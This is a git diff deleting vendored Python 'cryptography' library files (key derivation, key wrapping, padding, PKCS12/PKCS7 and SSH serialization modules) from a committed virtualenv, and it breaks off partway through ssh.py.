--git a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/concatkdf.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/concatkdf.py deleted file mode 100644 index 398dc5dc55c39a3c428d37c96ca1ad74a52a89c1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/concatkdf.py +++ /dev/null @@ -1,16 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives.kdf import KeyDerivationFunction - -ConcatKDFHash = rust_openssl.kdf.ConcatKDFHash -ConcatKDFHMAC = rust_openssl.kdf.ConcatKDFHMAC - -KeyDerivationFunction.register(ConcatKDFHash) -KeyDerivationFunction.register(ConcatKDFHMAC) - -__all__ = ["ConcatKDFHMAC", "ConcatKDFHash"] diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/hkdf.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/hkdf.py deleted file mode 100644 index 1e162d9dee0ddb5f2d61a4421e5984933ae63a70..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/hkdf.py +++ /dev/null @@ -1,16 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives.kdf import KeyDerivationFunction - -HKDF = rust_openssl.kdf.HKDF -HKDFExpand = rust_openssl.kdf.HKDFExpand - -KeyDerivationFunction.register(HKDF) -KeyDerivationFunction.register(HKDFExpand) - -__all__ = ["HKDF", "HKDFExpand"] diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/kbkdf.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/kbkdf.py deleted file mode 100644 index e559df8fbd17640478cbf6f632824cb74d66db77..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/kbkdf.py +++ /dev/null @@ -1,26 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography import utils -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives.kdf import KeyDerivationFunction - - -class Mode(utils.Enum): - CounterMode = "ctr" - - -class CounterLocation(utils.Enum): - BeforeFixed = "before_fixed" - AfterFixed = "after_fixed" - MiddleFixed = "middle_fixed" - - -KBKDFHMAC = rust_openssl.kdf.KBKDFHMAC -KeyDerivationFunction.register(KBKDFHMAC) - -KBKDFCMAC = rust_openssl.kdf.KBKDFCMAC -KeyDerivationFunction.register(KBKDFCMAC) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/pbkdf2.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/pbkdf2.py deleted file mode 100644 index 771d80d4a25edd23563b5a51703f6e97dab02752..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/pbkdf2.py +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives.kdf import KeyDerivationFunction - -PBKDF2HMAC = rust_openssl.kdf.PBKDF2HMAC -KeyDerivationFunction.register(PBKDF2HMAC) - -__all__ = ["PBKDF2HMAC"] diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/scrypt.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/scrypt.py deleted file mode 100644 index f791ceea371b11c0d873ff031cf3bd653cb1b2b8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/scrypt.py +++ /dev/null @@ -1,19 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import sys - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives.kdf import KeyDerivationFunction - -# This is used by the scrypt tests to skip tests that require more memory -# than the MEM_LIMIT -_MEM_LIMIT = sys.maxsize // 2 - -Scrypt = rust_openssl.kdf.Scrypt -KeyDerivationFunction.register(Scrypt) - -__all__ = ["Scrypt"] diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/x963kdf.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/x963kdf.py deleted file mode 100644 index 8c4e2d31ddf68ec90801f871afb9b0fe9b74888b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/kdf/x963kdf.py +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives.kdf import KeyDerivationFunction - -X963KDF = rust_openssl.kdf.X963KDF -KeyDerivationFunction.register(X963KDF) - -__all__ = ["X963KDF"] diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/keywrap.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/keywrap.py deleted file mode 100644 index 123d97b016c56b4eb8c79c5b014559dc6c4937b1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/keywrap.py +++ /dev/null @@ -1,25 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl - -__all__ = [ - "InvalidUnwrap", - "aes_key_unwrap", - "aes_key_unwrap_with_padding", - "aes_key_wrap", - "aes_key_wrap_with_padding", -] - - -class InvalidUnwrap(Exception): - pass - - -aes_key_wrap = rust_openssl.keywrap.aes_key_wrap -aes_key_unwrap = rust_openssl.keywrap.aes_key_unwrap -aes_key_wrap_with_padding = rust_openssl.keywrap.aes_key_wrap_with_padding -aes_key_unwrap_with_padding = rust_openssl.keywrap.aes_key_unwrap_with_padding diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/padding.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/padding.py deleted file mode 100644 index f9cd1f13c469beec5512d58b3de6ee1ced4362d5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/padding.py +++ /dev/null @@ -1,69 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography import utils -from cryptography.hazmat.bindings._rust import ( - ANSIX923PaddingContext, - ANSIX923UnpaddingContext, - PKCS7PaddingContext, - PKCS7UnpaddingContext, -) - - -class PaddingContext(metaclass=abc.ABCMeta): - @abc.abstractmethod - def update(self, data: utils.Buffer) -> bytes: - """ - Pads the provided bytes and returns any available data as bytes. - """ - - @abc.abstractmethod - def finalize(self) -> bytes: - """ - Finalize the padding, returns bytes. - """ - - -def _byte_padding_check(block_size: int) -> None: - if not (0 <= block_size <= 2040): - raise ValueError("block_size must be in range(0, 2041).") - - if block_size % 8 != 0: - raise ValueError("block_size must be a multiple of 8.") - - -class PKCS7: - def __init__(self, block_size: int): - _byte_padding_check(block_size) - self.block_size = block_size - - def padder(self) -> PaddingContext: - return PKCS7PaddingContext(self.block_size) - - def unpadder(self) -> PaddingContext: - return PKCS7UnpaddingContext(self.block_size) - - -PaddingContext.register(PKCS7PaddingContext) -PaddingContext.register(PKCS7UnpaddingContext) - - -class ANSIX923: - def __init__(self, block_size: int): - _byte_padding_check(block_size) - self.block_size = block_size - - def padder(self) -> PaddingContext: - return ANSIX923PaddingContext(self.block_size) - - def unpadder(self) -> PaddingContext: - return ANSIX923UnpaddingContext(self.block_size) - - -PaddingContext.register(ANSIX923PaddingContext) -PaddingContext.register(ANSIX923UnpaddingContext) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/poly1305.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/poly1305.py deleted file mode 100644 index 7f5a77a576fd258a9a634ae3c3365fc3f7d4702a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/poly1305.py +++ /dev/null @@ -1,11 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl - -__all__ = ["Poly1305"] - -Poly1305 = rust_openssl.poly1305.Poly1305 diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/__init__.py deleted file mode 100644 index 40beb2196ad7163c22861eb8a2e494c01f32e2d9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/__init__.py +++ /dev/null @@ -1,85 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography import utils -from cryptography.hazmat.primitives._serialization import ( - BestAvailableEncryption, - Encoding, - KeySerializationEncryption, - NoEncryption, - ParameterFormat, - PrivateFormat, - PublicFormat, - _KeySerializationEncryption, -) -from cryptography.hazmat.primitives.asymmetric.dh import _FFDH_DEPRECATION_MSG -from cryptography.hazmat.primitives.serialization.base import ( - load_der_parameters, - load_der_private_key, - load_der_public_key, - load_pem_parameters, - load_pem_private_key, - load_pem_public_key, -) -from cryptography.hazmat.primitives.serialization.ssh import ( - SSHCertificate, - SSHCertificateBuilder, - SSHCertificateType, - SSHCertPrivateKeyTypes, - SSHCertPublicKeyTypes, - SSHPrivateKeyTypes, - SSHPublicKeyTypes, - load_ssh_private_key, - load_ssh_public_identity, - load_ssh_public_key, - ssh_key_fingerprint, -) - -__all__ = [ - "BestAvailableEncryption", - "Encoding", - "KeySerializationEncryption", - "NoEncryption", - "ParameterFormat", - "PrivateFormat", - "PublicFormat", - "SSHCertPrivateKeyTypes", - "SSHCertPublicKeyTypes", - "SSHCertificate", - "SSHCertificateBuilder", - "SSHCertificateType", - "SSHPrivateKeyTypes", - "SSHPublicKeyTypes", - "_KeySerializationEncryption", - "load_der_parameters", - "load_der_private_key", - "load_der_public_key", - "load_pem_parameters", - "load_pem_private_key", - "load_pem_public_key", - "load_ssh_private_key", - "load_ssh_public_identity", - "load_ssh_public_key", - "ssh_key_fingerprint", -] - -# These can only load FFDH parameters, so the functions themselves are -# deprecated alongside the rest of FFDH. -utils.deprecated( - load_pem_parameters, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="load_pem_parameters", -) - -utils.deprecated( - load_der_parameters, - __name__, - _FFDH_DEPRECATION_MSG, - utils.DeprecatedIn50, - name="load_der_parameters", -) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/base.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/base.py deleted file mode 100644 index f2b503b32e1a8bffd43ac5c7d6fc151c69ea2040..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/base.py +++ /dev/null @@ -1,16 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl - -load_pem_private_key = rust_openssl.keys.load_pem_private_key -load_der_private_key = rust_openssl.keys.load_der_private_key - -load_pem_public_key = rust_openssl.keys.load_pem_public_key -load_der_public_key = rust_openssl.keys.load_der_public_key - -load_pem_parameters = rust_openssl.dh.from_pem_parameters -load_der_parameters = rust_openssl.dh.from_der_parameters diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/pkcs12.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/pkcs12.py deleted file mode 100644 index 58884ff61a79e50afe2df7ed134c33d447d02998..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/pkcs12.py +++ /dev/null @@ -1,176 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import typing -from collections.abc import Iterable - -from cryptography import x509 -from cryptography.hazmat.bindings._rust import pkcs12 as rust_pkcs12 -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives._serialization import PBES as PBES -from cryptography.hazmat.primitives.asymmetric import ( - dsa, - ec, - ed448, - ed25519, - rsa, -) -from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes - -__all__ = [ - "PBES", - "PKCS12Certificate", - "PKCS12KeyAndCertificates", - "PKCS12PrivateKeyTypes", - "load_key_and_certificates", - "load_pkcs12", - "serialize_java_truststore", - "serialize_key_and_certificates", -] - -PKCS12PrivateKeyTypes = typing.Union[ - rsa.RSAPrivateKey, - dsa.DSAPrivateKey, - ec.EllipticCurvePrivateKey, - ed25519.Ed25519PrivateKey, - ed448.Ed448PrivateKey, -] - - -PKCS12Certificate = rust_pkcs12.PKCS12Certificate - - -class PKCS12KeyAndCertificates: - def __init__( - self, - key: PrivateKeyTypes | None, - cert: PKCS12Certificate | None, - additional_certs: list[PKCS12Certificate], - ): - if key is not None and not isinstance( - key, - ( - rsa.RSAPrivateKey, - dsa.DSAPrivateKey, - ec.EllipticCurvePrivateKey, - ed25519.Ed25519PrivateKey, - ed448.Ed448PrivateKey, - ), - ): - raise TypeError( - "Key must be RSA, DSA, EllipticCurve, ED25519, or ED448" - " private key, or None." - ) - if cert is not None and not isinstance(cert, PKCS12Certificate): - raise TypeError("cert must be a PKCS12Certificate object or None") - if not all( - isinstance(add_cert, PKCS12Certificate) - for add_cert in additional_certs - ): - raise TypeError( - "all values in additional_certs must be PKCS12Certificate" - " objects" - ) - self._key = key - self._cert = cert - self._additional_certs = additional_certs - - @property - def key(self) -> PrivateKeyTypes | None: - return self._key - - @property - def cert(self) -> PKCS12Certificate | None: - return self._cert - - @property - def additional_certs(self) -> list[PKCS12Certificate]: - return self._additional_certs - - def __eq__(self, other: object) -> bool: - if not isinstance(other, PKCS12KeyAndCertificates): - return NotImplemented - - return ( - self.key == other.key - and self.cert == other.cert - and self.additional_certs == other.additional_certs - ) - - def __hash__(self) -> int: - return hash((self.key, self.cert, tuple(self.additional_certs))) - - def __repr__(self) -> str: - fmt = ( - "" - ) - return fmt.format(self.key, self.cert, self.additional_certs) - - -load_key_and_certificates = rust_pkcs12.load_key_and_certificates -load_pkcs12 = rust_pkcs12.load_pkcs12 - - -_PKCS12CATypes = typing.Union[ - x509.Certificate, - PKCS12Certificate, -] - - -def serialize_java_truststore( - certs: Iterable[PKCS12Certificate], - encryption_algorithm: serialization.KeySerializationEncryption, -) -> bytes: - if not certs: - raise ValueError("You must supply at least one cert") - - if not isinstance( - encryption_algorithm, serialization.KeySerializationEncryption - ): - raise TypeError( - "Key encryption algorithm must be a " - "KeySerializationEncryption instance" - ) - - return rust_pkcs12.serialize_java_truststore(certs, encryption_algorithm) - - -def serialize_key_and_certificates( - name: bytes | None, - key: PKCS12PrivateKeyTypes | None, - cert: x509.Certificate | None, - cas: Iterable[_PKCS12CATypes] | None, - encryption_algorithm: serialization.KeySerializationEncryption, -) -> bytes: - if key is not None and not isinstance( - key, - ( - rsa.RSAPrivateKey, - dsa.DSAPrivateKey, - ec.EllipticCurvePrivateKey, - ed25519.Ed25519PrivateKey, - ed448.Ed448PrivateKey, - ), - ): - raise TypeError( - "Key must be RSA, DSA, EllipticCurve, ED25519, or ED448" - " private key, or None." - ) - - if not isinstance( - encryption_algorithm, serialization.KeySerializationEncryption - ): - raise TypeError( - "Key encryption algorithm must be a " - "KeySerializationEncryption instance" - ) - - if key is None and cert is None and not cas: - raise ValueError("You must supply at least one of key, cert, or cas") - - return rust_pkcs12.serialize_key_and_certificates( - name, key, cert, cas, encryption_algorithm - ) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/pkcs7.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/pkcs7.py deleted file mode 100644 index 76b667a22a47fc0e2dc932519e9fa1d23a3bc7bf..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/pkcs7.py +++ /dev/null @@ -1,412 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import email.base64mime -import email.generator -import email.message -import email.policy -import io -import typing -from collections.abc import Iterable - -from cryptography import utils, x509 -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat.bindings._rust import pkcs7 as rust_pkcs7 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.asymmetric import ec, padding, rsa -from cryptography.hazmat.primitives.ciphers import ( - algorithms, -) -from cryptography.utils import _check_byteslike - -load_pem_pkcs7_certificates = rust_pkcs7.load_pem_pkcs7_certificates - -load_der_pkcs7_certificates = rust_pkcs7.load_der_pkcs7_certificates - -serialize_certificates = rust_pkcs7.serialize_certificates - -PKCS7HashTypes = typing.Union[ - hashes.SHA224, - hashes.SHA256, - hashes.SHA384, - hashes.SHA512, -] - -PKCS7PrivateKeyTypes = typing.Union[ - rsa.RSAPrivateKey, ec.EllipticCurvePrivateKey -] - -ContentEncryptionAlgorithm = typing.Union[ - type[algorithms.AES128], type[algorithms.AES256] -] - - -class PKCS7Options(utils.Enum): - Text = "Add text/plain MIME type" - Binary = "Don't translate input data into canonical MIME format" - DetachedSignature = "Don't embed data in the PKCS7 structure" - NoCapabilities = "Don't embed SMIME capabilities" - NoAttributes = "Don't embed authenticatedAttributes" - NoCerts = "Don't embed signer certificate" - - -class PKCS7SignatureBuilder: - def __init__( - self, - data: utils.Buffer | None = None, - signers: list[ - tuple[ - x509.Certificate, - PKCS7PrivateKeyTypes, - PKCS7HashTypes, - padding.PSS | padding.PKCS1v15 | None, - ] - ] = [], - additional_certs: list[x509.Certificate] = [], - ): - self._data = data - self._signers = signers - self._additional_certs = additional_certs - - def set_data(self, data: utils.Buffer) -> PKCS7SignatureBuilder: - _check_byteslike("data", data) - if self._data is not None: - raise ValueError("data may only be set once") - - return PKCS7SignatureBuilder(data, self._signers) - - def add_signer( - self, - certificate: x509.Certificate, - private_key: PKCS7PrivateKeyTypes, - hash_algorithm: PKCS7HashTypes, - *, - rsa_padding: padding.PSS | padding.PKCS1v15 | None = None, - ) -> PKCS7SignatureBuilder: - if not isinstance( - hash_algorithm, - ( - hashes.SHA224, - hashes.SHA256, - hashes.SHA384, - hashes.SHA512, - ), - ): - raise TypeError( - "hash_algorithm must be one of hashes.SHA224, " - "SHA256, SHA384, or SHA512" - ) - if not isinstance(certificate, x509.Certificate): - raise TypeError("certificate must be a x509.Certificate") - - if not isinstance( - private_key, (rsa.RSAPrivateKey, ec.EllipticCurvePrivateKey) - ): - raise TypeError("Only RSA & EC keys are supported at this time.") - - if rsa_padding is not None: - if not isinstance(rsa_padding, (padding.PSS, padding.PKCS1v15)): - raise TypeError("Padding must be PSS or PKCS1v15") - if not isinstance(private_key, rsa.RSAPrivateKey): - raise TypeError("Padding is only supported for RSA keys") - - return PKCS7SignatureBuilder( - self._data, - [ - *self._signers, - (certificate, private_key, hash_algorithm, rsa_padding), - ], - ) - - def add_certificate( - self, certificate: x509.Certificate - ) -> PKCS7SignatureBuilder: - if not isinstance(certificate, x509.Certificate): - raise TypeError("certificate must be a x509.Certificate") - - return PKCS7SignatureBuilder( - self._data, self._signers, [*self._additional_certs, certificate] - ) - - def sign( - self, - encoding: serialization.Encoding, - options: Iterable[PKCS7Options], - backend: typing.Any = None, - ) -> bytes: - if len(self._signers) == 0: - raise ValueError("Must have at least one signer") - if self._data is None: - raise ValueError("You must add data to sign") - options = list(options) - if not all(isinstance(x, PKCS7Options) for x in options): - raise ValueError("options must be from the PKCS7Options enum") - if encoding not in ( - serialization.Encoding.PEM, - serialization.Encoding.DER, - serialization.Encoding.SMIME, - ): - raise ValueError( - "Must be PEM, DER, or SMIME from the Encoding enum" - ) - - # Text is a meaningless option unless it is accompanied by - # DetachedSignature - if ( - PKCS7Options.Text in options - and PKCS7Options.DetachedSignature not in options - ): - raise ValueError( - "When passing the Text option you must also pass " - "DetachedSignature" - ) - - if PKCS7Options.Text in options and encoding in ( - serialization.Encoding.DER, - serialization.Encoding.PEM, - ): - raise ValueError( - "The Text option is only available for SMIME serialization" - ) - - # No attributes implies no capabilities so we'll error if you try to - # pass both. - if ( - PKCS7Options.NoAttributes in options - and PKCS7Options.NoCapabilities in options - ): - raise ValueError( - "NoAttributes is a superset of NoCapabilities. Do not pass " - "both values." - ) - - return rust_pkcs7.sign_and_serialize(self, encoding, options) - - -class PKCS7EnvelopeBuilder: - def __init__( - self, - *, - _data: bytes | None = None, - _recipients: list[x509.Certificate] | None = None, - _content_encryption_algorithm: ContentEncryptionAlgorithm - | None = None, - ): - from cryptography.hazmat.backends.openssl.backend import ( - backend as ossl, - ) - - if not ossl.rsa_encryption_supported(padding=padding.PKCS1v15()): - raise UnsupportedAlgorithm( - "RSA with PKCS1 v1.5 padding is not supported by this version" - " of OpenSSL.", - _Reasons.UNSUPPORTED_PADDING, - ) - self._data = _data - self._recipients = _recipients if _recipients is not None else [] - self._content_encryption_algorithm = _content_encryption_algorithm - - def set_data(self, data: bytes) -> PKCS7EnvelopeBuilder: - _check_byteslike("data", data) - if self._data is not None: - raise ValueError("data may only be set once") - - return PKCS7EnvelopeBuilder( - _data=data, - _recipients=self._recipients, - _content_encryption_algorithm=self._content_encryption_algorithm, - ) - - def add_recipient( - self, - certificate: x509.Certificate, - ) -> PKCS7EnvelopeBuilder: - if not isinstance(certificate, x509.Certificate): - raise TypeError("certificate must be a x509.Certificate") - - if not isinstance(certificate.public_key(), rsa.RSAPublicKey): - raise TypeError("Only RSA keys are supported at this time.") - - return PKCS7EnvelopeBuilder( - _data=self._data, - _recipients=[ - *self._recipients, - certificate, - ], - _content_encryption_algorithm=self._content_encryption_algorithm, - ) - - def set_content_encryption_algorithm( - self, content_encryption_algorithm: ContentEncryptionAlgorithm - ) -> PKCS7EnvelopeBuilder: - if self._content_encryption_algorithm is not None: - raise ValueError("Content encryption algo may only be set once") - if content_encryption_algorithm not in { - algorithms.AES128, - algorithms.AES256, - }: - raise TypeError("Only AES128 and AES256 are supported") - - return PKCS7EnvelopeBuilder( - _data=self._data, - _recipients=self._recipients, - _content_encryption_algorithm=content_encryption_algorithm, - ) - - def encrypt( - self, - encoding: serialization.Encoding, - options: Iterable[PKCS7Options], - ) -> bytes: - if len(self._recipients) == 0: - raise ValueError("Must have at least one recipient") - if self._data is None: - raise ValueError("You must add data to encrypt") - - # The default content encryption algorithm is AES-128-CBC, which the - # S/MIME v3.2 RFC specifies as MUST support (https://datatracker.ietf.org/doc/html/rfc5751#section-2.7) - # however rest of S/MIME v3.2 is not currently supported - content_encryption_algorithm = ( - self._content_encryption_algorithm or algorithms.AES128 - ) - - options = list(options) - if not all(isinstance(x, PKCS7Options) for x in options): - raise ValueError("options must be from the PKCS7Options enum") - if encoding not in ( - serialization.Encoding.PEM, - serialization.Encoding.DER, - serialization.Encoding.SMIME, - ): - raise ValueError( - "Must be PEM, DER, or SMIME from the Encoding enum" - ) - - # Only allow options that make sense for encryption - if any( - opt not in [PKCS7Options.Text, PKCS7Options.Binary] - for opt in options - ): - raise ValueError( - "Only the following options are supported for encryption: " - "Text, Binary" - ) - elif PKCS7Options.Text in options and PKCS7Options.Binary in options: - # OpenSSL accepts both options at the same time, but ignores Text. - # We fail defensively to avoid unexpected outputs. - raise ValueError( - "Cannot use Binary and Text options at the same time" - ) - - return rust_pkcs7.encrypt_and_serialize( - self, content_encryption_algorithm, encoding, options - ) - - -pkcs7_decrypt_der = rust_pkcs7.decrypt_der -pkcs7_decrypt_pem = rust_pkcs7.decrypt_pem -pkcs7_decrypt_smime = rust_pkcs7.decrypt_smime - - -def _smime_signed_encode( - data: bytes, signature: bytes, micalg: str, text_mode: bool -) -> bytes: - # This function works pretty hard to replicate what OpenSSL does - # precisely. For good and for ill. - - m = email.message.Message() - m.add_header("MIME-Version", "1.0") - m.add_header( - "Content-Type", - "multipart/signed", - protocol="application/x-pkcs7-signature", - micalg=micalg, - ) - - m.preamble = "This is an S/MIME signed message\n" - - msg_part = OpenSSLMimePart() - msg_part.set_payload(data) - if text_mode: - msg_part.add_header("Content-Type", "text/plain") - m.attach(msg_part) - - sig_part = email.message.MIMEPart() - sig_part.add_header( - "Content-Type", "application/x-pkcs7-signature", name="smime.p7s" - ) - sig_part.add_header("Content-Transfer-Encoding", "base64") - sig_part.add_header( - "Content-Disposition", "attachment", filename="smime.p7s" - ) - sig_part.set_payload( - email.base64mime.body_encode(signature, maxlinelen=65) - ) - del sig_part["MIME-Version"] - m.attach(sig_part) - - fp = io.BytesIO() - g = email.generator.BytesGenerator( - fp, - maxheaderlen=0, - mangle_from_=False, - policy=m.policy.clone(linesep="\r\n"), - ) - g.flatten(m) - return fp.getvalue() - - -def _smime_enveloped_encode(data: bytes) -> bytes: - m = email.message.Message() - m.add_header("MIME-Version", "1.0") - m.add_header("Content-Disposition", "attachment", filename="smime.p7m") - m.add_header( - "Content-Type", - "application/pkcs7-mime", - smime_type="enveloped-data", - name="smime.p7m", - ) - m.add_header("Content-Transfer-Encoding", "base64") - - m.set_payload(email.base64mime.body_encode(data, maxlinelen=65)) - - return m.as_bytes(policy=m.policy.clone(linesep="\n", max_line_length=0)) - - -def _smime_enveloped_decode(data: bytes) -> bytes: - m = email.message_from_bytes(data) - if m.get_content_type() not in { - "application/x-pkcs7-mime", - "application/pkcs7-mime", - }: - raise ValueError("Not an S/MIME enveloped message") - return bytes(m.get_payload(decode=True)) - - -def _smime_remove_text_headers(data: bytes) -> bytes: - m = email.message_from_bytes(data) - # Using get() instead of get_content_type() since it has None as default, - # where the latter has "text/plain". Both methods are case-insensitive. - content_type = m.get("content-type") - if content_type is None: - raise ValueError( - "Decrypted MIME data has no 'Content-Type' header. " - "Please remove the 'Text' option to parse it manually." - ) - if "text/plain" not in content_type: - raise ValueError( - f"Decrypted MIME data content type is '{content_type}', not " - "'text/plain'. Remove the 'Text' option to parse it manually." - ) - return bytes(m.get_payload(decode=True)) - - -class OpenSSLMimePart(email.message.MIMEPart): - # A MIMEPart subclass that replicates OpenSSL's behavior of not including - # a newline if there are no headers. - def _write_headers(self, generator) -> None: - if list(self.raw_items()): - generator._write_headers(self) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/ssh.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/ssh.py deleted file mode 100644 index 230e14799a087f3da7a2b922b9058933fe96e8fe..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/serialization/ssh.py +++ /dev/null @@ -1,1615 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import binascii -import enum -import os -import re -import typing -import warnings -from dataclasses import dataclass - -from cryptography import utils -from cryptography.exceptions import UnsupportedAlgorithm -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives.asymmetric import ( - dsa, - ec, - ed25519, - padding, - rsa, -) -from cryptography.hazmat.primitives.asymmetric import utils as asym_utils -from cryptography.hazmat.primitives.ciphers import ( - AEADDecryptionContext, - Cipher, - algorithms, - modes, -) -from cryptography.hazmat.primitives.serialization import ( - Encoding, - KeySerializationEncryption, - NoEncryption, - PrivateFormat, - PublicFormat, - _KeySerializationEncryption, -) - -try: - from bcrypt import kdf as _bcrypt_kdf - - _bcrypt_supported = True -except ImportError: - _bcrypt_supported = False - - def _bcrypt_kdf( - password: bytes, - salt: bytes, - desired_key_bytes: int, - rounds: int, - ignore_few_rounds: bool = False, - ) -> bytes: - raise UnsupportedAlgorithm("Need bcrypt module") - - -_SSH_ED25519 = b"ssh-ed25519" -_SSH_RSA = b"ssh-rsa" -_SSH_DSA = b"ssh-dss" -_ECDSA_NISTP256 = b"ecdsa-sha2-nistp256" -_ECDSA_NISTP384 = b"ecdsa-sha2-nistp384" -_ECDSA_NISTP521 = b"ecdsa-sha2-nistp521" -_CERT_SUFFIX = b"-cert-v01@openssh.com" - -# U2F application string suffixed pubkey -_SK_SSH_ED25519 = b"sk-ssh-ed25519@openssh.com" -_SK_SSH_ECDSA_NISTP256 = b"sk-ecdsa-sha2-nistp256@openssh.com" - -# These are not key types, only algorithms, so they cannot appear -# as a public key type -_SSH_RSA_SHA256 = b"rsa-sha2-256" -_SSH_RSA_SHA512 = b"rsa-sha2-512" - -_SSH_PUBKEY_RC = re.compile(rb"\A(\S+)[ \t]+(\S+)") -_SK_MAGIC = b"openssh-key-v1\0" -_SK_START = b"-----BEGIN OPENSSH PRIVATE KEY-----" -_SK_END = b"-----END OPENSSH PRIVATE KEY-----" -_BCRYPT = b"bcrypt" -_NONE = b"none" -_DEFAULT_CIPHER = b"aes256-ctr" -_DEFAULT_ROUNDS = 16 - -# re is only way to work on bytes-like data -_PEM_RC = re.compile(_SK_START + b"(.*?)" + 